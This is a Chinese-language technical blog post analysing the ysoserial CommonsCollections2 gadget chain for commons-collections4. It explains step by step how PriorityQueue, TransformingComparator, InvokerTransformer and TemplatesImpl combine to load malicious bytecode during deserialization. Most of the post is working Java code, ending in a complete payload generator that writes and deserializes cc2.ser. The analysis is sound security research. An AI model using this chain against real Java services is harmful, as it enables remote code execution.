ysoserial CommonsCollections2 分析
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl->newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。
cc2是针对commons-collections4版本,利用链如下:
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
transformer.transform(templates);
}
}
一、InvokerTransformer.transform()的调用
TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
通过compare的调用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);
二、TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
三、queue属性赋值
transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//略
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//略
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
通过反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。
最终完整利用实现:
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
objectInputStream.readObject();
}
}

ysoserial CommonsCollections2 分析的更多相关文章
- ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
- ysoserial CommonsColletions2分析
ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- ysoserial CommonsColletions3分析(2)
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...
- ysoserial CommonsColletions3分析(1)
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
- ysoserial CommonsColletions7分析
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...
- ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...
- ysoserial CommonsColletions5分析
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
- ysoserial commonscollections6 分析
利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...
随机推荐
- HTML创建访问加密代码
在</head>前面加入即可 普通方式 此方法屏蔽F12查看源码但是屏蔽不了Ctrl+U查看源码 解决方式加密html即可注意!解密比较繁琐切记要记住自己设置的密码 <SCRIPT ...
- 1.1_selenium+Python自动化测试大纲
- flutter系列之:移动端的手势基础GestureDetector
目录 简介 Pointers和Listener GestureDetector 手势冲突 总结 简介 移动的和PC端有什么不同呢?同样的H5可以运行在APP端,也可以运行在PC端.两者最大的区别就是移 ...
- python进阶__用socket封装TCP
想要理解socket协议,点击链接,出门左转 一.TCP 通信的服务器端编程的基本步骤: 服务器端先创建一个 socket 对象. 服务器端 socket 将自己绑定到指定 IP 地址和端口. 服务器 ...
- 关于python文件写入问题
第一种.用for循环不断打开文件写入关闭 测试代码数据如下: import time begin = time.perf_counter() def a(f, lis): f.write(lis + ...
- docker访问外部https数字证书问题
一般我们构建的 docker 镜像使用的都是 alpine linux 系统,默认是不带 ca-certificates 根证书的,导致无法识别外部 https 携带的数字证书. 在访问的时候,会抛出 ...
- [双重 for 循环]打印一个倒三角形
[双重 for 循环]打印一个倒三角形 核心算法 里层循环:j = i; j <= 10; j++ 当i=1时,j=1 , j<=10,j++,打印10个星星 当i=2时,j=2 , j& ...
- PostgreSQL 大对象导出报错问题分析
1.前言 在处理用户问题过程遇到一个问题.用户通过pg_dump导出 bytea 对象时,当行的大小超过 1G时,会报错: [v8r6c5b41@dbhost01 ~]$ sys_dump -t t1 ...
- Awvs+nessus docker版本
awvs-nessus 拉取镜像 docker pull leishianquan/awvs-nessus:v2 启动 docker run --name awvs-nessus -it -d -p ...
- Maven 过滤问题
<build> <resources> <resource> <directory>src/main/resources</directory&g ...